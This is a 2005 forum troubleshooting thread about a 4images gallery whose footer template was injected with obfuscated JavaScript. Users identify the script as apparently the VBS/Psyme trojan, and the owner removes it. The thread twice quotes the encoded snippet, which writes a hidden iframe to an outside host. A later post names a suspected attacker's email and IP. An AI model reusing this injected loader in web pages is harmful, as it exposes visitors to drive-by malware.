4images Forum & Community

4images Issues / Ausgaben => Discussion & Troubleshooting => Topic started by: undrline on May 16, 2005, 07:31:44 PM

Title: Error Message: Script will cause browser to be slow
Post by: undrline on May 16, 2005, 07:31:44 PM
On every page that loads, I have been getting the IE message as follows:

(http://www.write-me.org/files/screenshots/gallery_error.gif)

If a user is trying to open the homepage via Opera, or on a Mac, their browser just hangs.  I've tried it on XP, NT, and 2000.  I made no changes to the site between the time that it was working and when I started receiving this error, which makes me think it must be a configuration issue.

http://photos.write-me.org/  is my site, and is hosted by http://WinWebHosting.com on a Linux platform.

What script is it talking about?  I think I'd be safe in removing it, as shutting it off via the error prompt doesn't adversely effect the site in any way.

Thanks in advance for the help.

Title: Re: Error Message: Script will cause browser to be slow
Post by: martrix on May 16, 2005, 09:19:46 PM
well, if you put an endless while() loop into the footer of your page, it can only cause the browser to hang ;)

I guess, you won't do anything wrong byt erasing the whole javascript there...
Title: Re: Error Message: Script will cause browser to be slow
Post by: Chris on May 17, 2005, 12:51:45 AM
What's this???

footer.html
Code: [Select]
<script language="javascript" type="text/javascript">var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu431liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';while(t<=k.length-1)document.write(h);</script>
Title: Re: Error Message: Script will cause browser to be slow
Post by: undrline on May 17, 2005, 01:52:12 AM
well, if you put an endless while() loop into the footer of your page, it can only cause the browser to hang ;)

I guess, you won't do anything wrong byt erasing the whole javascript there...


Thank you for your response.

So, it's waiting for a loop to end?  I'm using the default code; I didn't change it.  There is only one while() function I see on the homepage (in bold below).  Is there a change I can make to fix it? Do I have to make the change on every page?

Quote
Not Necessary.  Read further.
Title: Re: Error Message: Script will cause browser to be slow
Post by: undrline on May 17, 2005, 02:03:01 AM
What's this???

footer.html
Code: [Select]
<script language="javascript" type="text/javascript">var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu431liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';while(t<=k.length-1)document.write(h);</script>

Thank you.

I don't know what that is.  I certaintly didn't put it there, but I'm not seeing it in the files either, only when viewing the source.  Perhaps you can point me to the bit that is writing that code?  Below, I've put the index and the footer.

index.php
Quote
REMOVED

page_footer.php
Quote
REMOVED
Title: Re: Error Message: Script will cause browser to be slow
Post by: V@no on May 17, 2005, 02:18:24 AM
I don't know what that is.  I certaintly didn't put it there, but I'm not seeing it in the files either, only when viewing the source.  Perhaps you can point me to the bit that is writing that code?  Below, I've put the index and the footer.
its in footer.html template.

And by the way, my McAfee Antivirus poped up with "VBS/Psyme trojan" comming from your footer.html template! :evil:
Title: Previous Post
Post by: undrline on May 17, 2005, 02:39:11 AM
Generally, I wouldn't reply to my own post, but it seems that the code for those pages has been removed by V@no

Not quite sure how people can help, if I can't post the original code producing the error, particularly if I don't know what part of that code is the problem.  I didn't see anything in the forum readme about what code was allowed.  Maybe because it was not concise?  I tried to offset this with my formatting . . . V@no, if you could assist me with an explanation and alternative?

I want people to have as much to go on as possible to resolve my issue.

Title: Re: Error Message: Script will cause browser to be slow
Post by: undrline on May 17, 2005, 02:45:24 AM
Thank you very much for the help V@no.  I have deleted the script on the footer.html template, and the site is working fine.

As this has never been on a local machine, and am using the default template, as supplied by my hosting company, the virus must be on their machines.

Again, thank you.  I will inform my host at once.  There may be more people showing up to the forum with similar questions (WinWebHosting offers setup of the 4images gallery as an option through the Fantastico Control Panel to all of their customers).

I'm glad I was able to get this resolved so readily.  Thank you to everyone else who helped as well.

  :D :mrgreen: :D
Title: Re: Error Message: Script will cause browser to be slow
Post by: Chris on May 17, 2005, 02:51:48 AM
There is no need to post the PHP files, everybody knows what's inside them.  We all have the same files ourselves and that's why the code was deleted.  It only made the forum thread really long and posting the code was pointless in this case.

Best wishes
Title: Re: Error Message: Script will cause browser to be slow
Post by: erikito on March 11, 2006, 05:17:44 PM
Hey everybody.

My girlfriend has a little gallery running, and last night some @sshole registered to the site (by email confirmation, not by admin. I just changed it to by admin).

He uploaded "a picture", which turned out to be some trojan. The thumbnail didn't show up but when I clicked on it Mcafee warned me about this trojan. I deleted it right away, and the user too. The name of the trojan looked a bit like "VBS/Psyme trojan". Something with "Shell" was mentioned.

This person used this email address: psih90@mail.ru

I insulted him by email afterwards in the hope to get his IP in his reply. I got this: 194.67.23.25

Can anybody help out? Is anything known about this problem? I'm still running 1.7.1 version, due to the large amount of mods....

I hope this post will save you guys some trouble.
Title: Re: Error Message: Script will cause browser to be slow
Post by: V@no on March 11, 2006, 05:58:30 PM
If you havent apply all the bug fixes for you 4images version, then please do so as soon as possible. or install v1.7.2

If that trojan is using a hole in PHP, then your hoster should upgrade to the lattest PHP version, otherwise nothing you can do about it...other then that, there is no known holes in 4images code that was not patched.

[EDIT]
Acording to this (http://vil.mcafeesecurity.com/vil/content/v_100749.htm) site the trojan ment to be for clients using unpatched version of InternetExplorer and probably will not affect the server itself, especialy if its *NIX